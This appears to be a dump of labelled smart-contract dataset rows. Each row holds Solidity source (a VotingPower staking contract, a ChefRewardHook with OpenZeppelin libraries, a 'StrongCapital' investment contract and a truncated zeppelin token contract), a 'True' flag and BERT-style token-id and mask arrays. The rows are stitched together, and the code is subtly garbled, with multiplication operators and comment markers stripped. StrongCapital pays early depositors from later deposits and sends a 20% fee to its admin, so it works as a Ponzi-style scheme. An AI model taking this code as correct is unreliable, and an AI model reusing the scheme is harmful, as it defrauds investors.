`unlockedPerEpoch_` must be greater than zero / function newTokenLock(uint256 baseTokensLocked_, uint256 unlockEpoch_, uint256 unlockedPerEpoch_) external; /* * @dev Reset the lock state * * Requirements: * * - msg.sender must not have any tokens locked, currently / function clearLock() external; /* * @dev Returns the amount of tokens that are unlocked i.e. transferrable by `who` * / function balanceUnlocked(address who) external view returns (uint256 amount); /* * @dev Returns the amount of tokens that are locked and not transferrable by `who` * / function balanceLocked(address who) external view returns (uint256 amount); /* * @dev Reduce the amount of token unlocked each period by `subtractedValue` * * Emits an {UpdateTokenLock} event indicating the updated terms of the token lockup. * * Requires: * - msg.sender must have tokens currently locked * - `subtractedValue` is greater than 0 * - cannot reduce the unlockedPerEpoch to 0 * * NOTE: As a side effect resets the baseTokensLocked and lockTime for msg.sender / function decreaseUnlockAmount(uint256 subtractedValue) external; /* * @dev Increase the duration of the period at which tokens are unlocked by `addedValue` * this will have the net effect of slowing the rate at which tokens are unlocked * * Emits an {UpdateTokenLock} event indicating the updated terms of the token lockup. * * Requires: * - msg.sender must have tokens currently locked * - `addedValue` is greater than 0 * * NOTE: As a side effect resets the baseTokensLocked and lockTime for msg.sender / function increaseUnlockTime(uint256 addedValue) external; /* * @dev Increase the number of tokens locked by `addedValue` * i.e. locks up more tokens. * * * Emits an {UpdateTokenLock} event indicating the updated terms of the token lockup. * * Requires: * - msg.sender must have tokens currently locked * - `addedValue` is greater than zero * - msg.sender must have sufficient unlocked tokens to lock * * NOTE: As a side effect resets the baseTokensLocked and lockTime for msg.sender * / function increaseTokensLocked(uint256 addedValue) external; } struct Stake{ uint256 totalStake; mapping (address => uint256) stakedAmount; } /* * @dev Computes voting power based on staked and locked tokens. * The deployer is responsible for supplying a token_ implementing ERC20 and ILOCKER. * The deployer is trusted to know & have verified the token code token code is appropriate. * A scaling factor is specified as a uint8 array of bytes which serves to * reduce or increase the voting power of a class of token holder (locked tokens). * The scaling factor changes over time, and is looked up based on the current epoch / contract VotingPower is ReentrancyGuard, ISTAKING{ //the token used for staking. Implements ILOCKER. It is trusted & known code. IERC20 immutable _token; //store the number of tokens staked by each address mapping (address => Stake) public stakes; //keep track of the sum of staked tokens uint256 private _totalStaked; using SafeERC20 for IERC20; //locked tokens have their voting power scaled by this percentage. bytes voteScalingPercent; //the time at which this contract was deployed (unix time) uint256 creationTime; //the time each voting epoch lasts in seconds uint256 epochLength; /* * @dev initialize the contract * @param token_ is the token that is staked or locked to get voting power * @param scaling_ is an array of uint8 (bytes) percent voting power discounts for each epoch * @param epoch_ is the duration of one epoch in seconds / constructor(address token_, bytes memory scaling_, uint256 epoch_){ require(epoch_ > 0); _token = IERC20(token_); creationTime = block.timestamp; voteScalingPercent = scaling_; epochLength = epoch_; } / * @dev Returns the voting power for `who` * @param who the address whose votingPower to compute * @return the voting power for `who` / function votingPower(address who) public view returns (uint256) { return _votingPowerStaked(who) + _votingPowerLocked(who); } / * @dev Returns the voting power for `who` due to staked tokens * @param who the address whose votingPower to compute * @return the voting power for who / function _votingPowerStaked(address who) internal view returns (uint256) { return stakes[who].totalStake; } / * @dev Returns the voting power for `who` due to locked tokens * @param who the address whose votingPower to compute * @return the voting power for who * Locked tokens scaled discounted voting power as defined by voteScalingPercent */ function _votingPowerLocked(address who) internal view returns (uint256) { uint256 epoch = _currentEpoch(); if(epoch >= voteScalingPercent.length){ return ITOKENLOCK(address(_token)).balanceLocked(who); } return ITOKENLOCK(address(_token)).balanceLocked(who) (uint8)(voteScalingPercent[epoch])/100.0; } /** * @dev Returns the current epoch used to look up the scaling factor * @return the current epoch / function _currentEpoch() internal view returns (uint256) { return (block.timestamp - creationTime)/epochLength; } / * @dev Stakes the specified `amount` of tokens, this will attempt to transfer the given amount from the caller. * It will count the actual number of tokens trasferred as being staked * MUST trigger Staked event. * Returns the number of tokens actually staked / function stake(uint256 amount) external override nonReentrant returns (uint256){ require(amount > 0, "Cannot Stake 0"); uint256 previousAmount = IERC20(_token).balanceOf(address(this)); _token.safeTransferFrom( msg.sender, address(this), amount); uint256 transferred = IERC20(_token).balanceOf(address(this)) - previousAmount; require(transferred > 0); stakes[msg.sender].totalStake = stakes[msg.sender].totalStake + transferred; stakes[msg.sender].stakedAmount[msg.sender] = stakes[msg.sender].stakedAmount[msg.sender] + transferred; _totalStaked = _totalStaked + transferred; emit Staked(msg.sender, msg.sender, msg.sender, transferred); return transferred; } / * @dev Stakes the specified `amount` of tokens from `staker` on behalf of address `voter`, * this will attempt to transfer the given amount from the caller. * Must be called from an ISTAKINGPROXY contract that has been approved by `staker`. * Tokens will be staked towards the voting power of address `voter` allowing one address to delegate voting power to another. * It will count the actual number of tokens trasferred as being staked * MUST trigger Staked event. * Returns the number of tokens actually staked / function stakeFor(address voter, address staker, uint256 amount) external override nonReentrant returns (uint256){ require(amount > 0, "Cannot Stake 0"); uint256 previousAmount = IERC20(_token).balanceOf(address(this)); //_token.safeTransferFrom( msg.sender, address(this), amount); ISTAKINGPROXY(msg.sender).proxyTransfer(staker, amount); //verify that amount that the proxy contract transferred the amount uint256 transferred = IERC20(_token).balanceOf(address(this)) - previousAmount; require(transferred > 0); stakes[voter].totalStake = stakes[voter].totalStake + transferred; stakes[voter].stakedAmount[msg.sender] = stakes[voter].stakedAmount[msg.sender] + transferred; _totalStaked = _totalStaked + transferred; emit Staked(voter, staker, msg.sender, transferred); return transferred; } / * @dev Unstakes the specified `amount` of tokens, this SHOULD return the given amount of tokens to the caller, * MUST trigger Unstaked event. / function unstake(uint256 amount) external override nonReentrant{ require(amount > 0, "Cannot UnStake 0"); require(amount <= stakes[msg.sender].stakedAmount[msg.sender], "INSUFFICENT TOKENS TO UNSTAKE"); _token.safeTransfer( msg.sender, amount); stakes[msg.sender].totalStake = stakes[msg.sender].totalStake - amount; stakes[msg.sender].stakedAmount[msg.sender] = stakes[msg.sender].stakedAmount[msg.sender] - amount; _totalStaked = _totalStaked - amount; emit Unstaked(msg.sender,msg.sender, msg.sender, amount); } /* * @dev Unstakes the specified `amount` of tokens currently staked by `staker` on behalf of `voter`, * this SHOULD return the given amount of tokens to the calling contract * calling contract is responsible for returning tokens to `staker` if applicable. * MUST trigger Unstaked event. / function unstakeFor(address voter, address staker, uint256 amount) external override nonReentrant{ require(amount > 0, "Cannot UnStake 0"); require(amount <= stakes[voter].stakedAmount[msg.sender], "INSUFFICENT TOKENS TO UNSTAKE"); //_token.safeTransfer( msg.sender, amount); _token.safeTransfer(staker, amount); stakes[voter].totalStake = stakes[voter].totalStake - amount; stakes[voter].stakedAmount[msg.sender] = stakes[voter].stakedAmount[msg.sender] - amount; _totalStaked = _totalStaked - amount; emit Unstaked(voter, staker, msg.sender, amount); } /* * @dev Returns the current total of tokens staked for address `addr`. / function totalStakedFor(address addr) external override view returns (uint256){ return stakes[addr].totalStake; } /* * @dev Returns the current tokens staked by address `staker` for address `voter`. / function stakedFor(address voter, address staker) external override view returns (uint256){ return stakes[voter].stakedAmount[staker]; } /* * @dev Returns the number of current total tokens staked. / function totalStaked() external override view returns (uint256){ return _totalStaked; } /* * @dev address of the token being used by the staking interface */ function token() external override view returns (address){ return address(_token); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 2756, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1013, 12324, 1000, 1012, 1013, 2128, 4765, 5521, 5666, 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21624, 1005, 1055, 3639, 2114, 3206, 18739, 1998, 1013, 1013, 20884, 14593, 2075, 1010, 1998, 2009, 3685, 2022, 9776, 1012, 1013, 1013, 1996, 5300, 2108, 2512, 1011, 5717, 3643, 3084, 10813, 1037, 2978, 2062, 6450, 1010, 1013, 1013, 2021, 1999, 3863, 1996, 25416, 8630, 2006, 2296, 2655, 2000, 2512, 28029, 6494, 3372, 2097, 2022, 2896, 1999, 1013, 1013, 3815, 1012, 2144, 25416, 26698, 2024, 13880, 2000, 1037, 7017, 1997, 1996, 2561, 1013, 1013, 12598, 1005, 1055, 3806, 1010, 2009, 2003, 2190, 2000, 2562, 2068, 2659, 1999, 3572, 2066, 2023, 2028, 1010, 2000, 1013, 1013, 3623, 1996, 16593, 1997, 1996, 2440, 25416, 8630, 2746, 2046, 3466, 1012, 21318, 3372, 17788, 2575, 2797, 5377, 1035, 2025, 1035, 3133, 1027, 1015, 1025, 21318, 3372, 17788, 2575, 2797, 5377, 1035, 3133, 1027, 1016, 1025, 21318, 3372, 17788, 2575, 2797, 1035, 3570, 1025, 9570, 2953, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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/** Submitted for verification at Etherscan.io on 2022-02-25 / // File: contracts\interfaces\IRewardHook.sol // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IRewardHook { function onRewardClaim() external; } // File: contracts\interfaces\IChef.sol pragma solidity 0.6.12; interface IChef { function userInfo(uint256 _pid, address _account) external view returns(uint256,uint256); function claim(uint256 _pid, address _account) external; function deposit(uint256 _pid, uint256 _amount) external; } // File: @openzeppelin\contracts\math\SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin\contracts\token\ERC20\IERC20.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin\contracts\utils\Address.sol pragma solidity >=0.6.2 <0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts\ChefRewardHook.sol pragma solidity 0.6.12; //Receive rewards from chef for distribution to a pool contract ChefRewardHook is IRewardHook{ using SafeERC20 for IERC20; using SafeMath for uint256; IERC20 public constant rewardToken = IERC20(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); address public constant chef = address(0x5F465e9fcfFc217c5849906216581a657cd60605); address public distributor; uint256 public pid; bool public isInit; //address to call for other reward pulls address public rewardHook; address public owner = address(0xa3C5A1e09150B75ff251c1a7815A07182c3de2FB); constructor() public {} function init(address _distributor, uint256 _pid, IERC20 dummyToken) external { require(!isInit,"already init"); isInit = true; distributor = _distributor; pid = _pid; uint256 balance = dummyToken.balanceOf(msg.sender); require(balance != 0, "Balance must exceed 0"); dummyToken.safeTransferFrom(msg.sender, address(this), balance); dummyToken.approve(chef, balance); IChef(chef).deposit(pid, balance); } function setRewardHook(address _hook) external{ require(msg.sender == owner, "!auth"); rewardHook = _hook; } function onRewardClaim() override external{ require(msg.sender == distributor,"!auth"); IChef(chef).claim(pid,address(this)); uint256 bal = rewardToken.balanceOf(address(this)); if(bal > 0){ rewardToken.safeTransfer(distributor,bal); } if(rewardHook != address(0)){ try IRewardHook(rewardHook).onRewardClaim(){ }catch{} } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 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1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2804, 1997, 2048, 27121, 24028, 1010, 2007, 2019, 2058, 12314, 5210, 1012, 1008, 1008, 1035, 2800, 2144, 1058, 2509, 1012, 1018, 1012, 1035, 1008, 1013, 3853, 3046, 4215, 2094, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 22017, 2140, 1010, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 2065, 1006, 1039, 1026, 1037, 1007, 2709, 1006, 6270, 1010, 1014, 1007, 1025, 2709, 1006, 2995, 1010, 1039, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 4942, 20528, 7542, 1997, 2048, 27121, 24028, 1010, 2007, 2019, 2058, 12314, 5210, 1012, 1008, 1008, 1035, 2800, 2144, 1058, 2509, 1012, 1018, 1012, 1035, 1008, 1013, 3853, 3046, 6342, 2497, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 22017, 2140, 1010, 21318, 3372, 17788, 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//StrongCapital v1.2.2 pragma solidity ^0.4.24; contract Capital { uint constant public CASH_BACK_PERCENT = 3; uint constant public PROJECT_FEE_PERCENT = 20; uint constant public PER_BLOCK = 48; uint constant public MINIMUM_INVEST = 10000000000000000 wei; uint public wave; address public owner; address public admin; address[] public addresses; bool public pause; mapping(address => Investor) public investors; TheStrongest public boss; modifier onlyOwner { require(owner == msg.sender); _; } struct Investor { uint ID; uint deposit; uint depositCount; uint blockNumber; address referrer; } struct TheStrongest { address addr; uint deposit; } constructor () public { owner = msg.sender; admin = msg.sender; addresses.length = 1; wave = 1; } function() payable public { if(owner == msg.sender){ return; } require(pause == false); require(msg.value == 0 \|\| msg.value >= MINIMUM_INVEST); Investor storage user = investors[msg.sender]; if(user.ID == 0){ msg.sender.transfer(0 wei); user.ID = addresses.push(msg.sender); address referrer = bytesToAddress(msg.data); if (investors[referrer].deposit > 0 && referrer != msg.sender) { user.referrer = referrer; } } if(user.deposit != 0) { uint amount = getInvestorDividendsAmount(msg.sender); if(address(this).balance < amount){ pause = true; return; } msg.sender.transfer(amount); } admin.transfer(msg.value * PROJECT_FEE_PERCENT / 100); user.deposit += msg.value; user.depositCount += 1; user.blockNumber = block.number; uint bonusAmount = msg.value * CASH_BACK_PERCENT / 100; if (user.referrer != 0x0) { user.referrer.transfer(bonusAmount); if (user.depositCount == 1) { msg.sender.transfer(bonusAmount); } } else if (boss.addr > 0x0) { if(msg.sender != boss.addr){ if(user.deposit < boss.deposit){ boss.addr.transfer(bonusAmount); } } } if(user.deposit > boss.deposit) { boss = TheStrongest(msg.sender, user.deposit); } } function getInvestorCount() public view returns (uint) { return addresses.length - 1; } function getInvestorDividendsAmount(address addr) public view returns (uint) { uint amount = ((investors[addr].deposit * ((block.number - investors[addr].blockNumber) * PER_BLOCK)) / 10000000); return amount; } function Restart() private { address addr; for (uint256 i = addresses.length - 1; i > 0; i--) { addr = addresses[i]; addresses.length -= 1; delete investors[addr]; } pause = false; wave += 1; delete boss; } function payout() public { if (pause) { Restart(); return; } uint amount; for(uint256 i = addresses.length - 1; i >= 1; i--){ address addr = addresses[i]; amount = getInvestorDividendsAmount(addr); investors[addr].blockNumber = block.number; if (address(this).balance < amount) { pause = true; return; } addr.transfer(amount); } } function transferOwnership(address addr) onlyOwner public { owner = addr; } function bytesToAddress(bytes bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } }	True	[ 101, 1013, 1013, 2844, 17695, 18400, 1058, 2487, 1012, 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/************************************************************************* * This contract has been merged with solidify * https://github.com/tiesnetwork/solidify ***********************************************************************/ pragma solidity ^0.4.22; /*********************************************************************** * import "zeppelin-solidity/contracts/math/SafeMath.sol" : start ***********************************************************************/ / * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /************************************************************************* * import "zeppelin-solidity/contracts/math/SafeMath.sol" : end ***********************************************************************/ /*********************************************************************** * import "zeppelin-solidity/contracts/token/MintableToken.sol" : start ***********************************************************************/ /*********************************************************************** * import "./StandardToken.sol" : start ***********************************************************************/ /*********************************************************************** * import "./BasicToken.sol" : start ***********************************************************************/ /*********************************************************************** * import "./ERC20Basic.sol" : start ***********************************************************************/ / * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /************************************************************************ * import "./ERC20Basic.sol" : end ***********************************************************************/ / * @title Basic token * @dev Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /* * 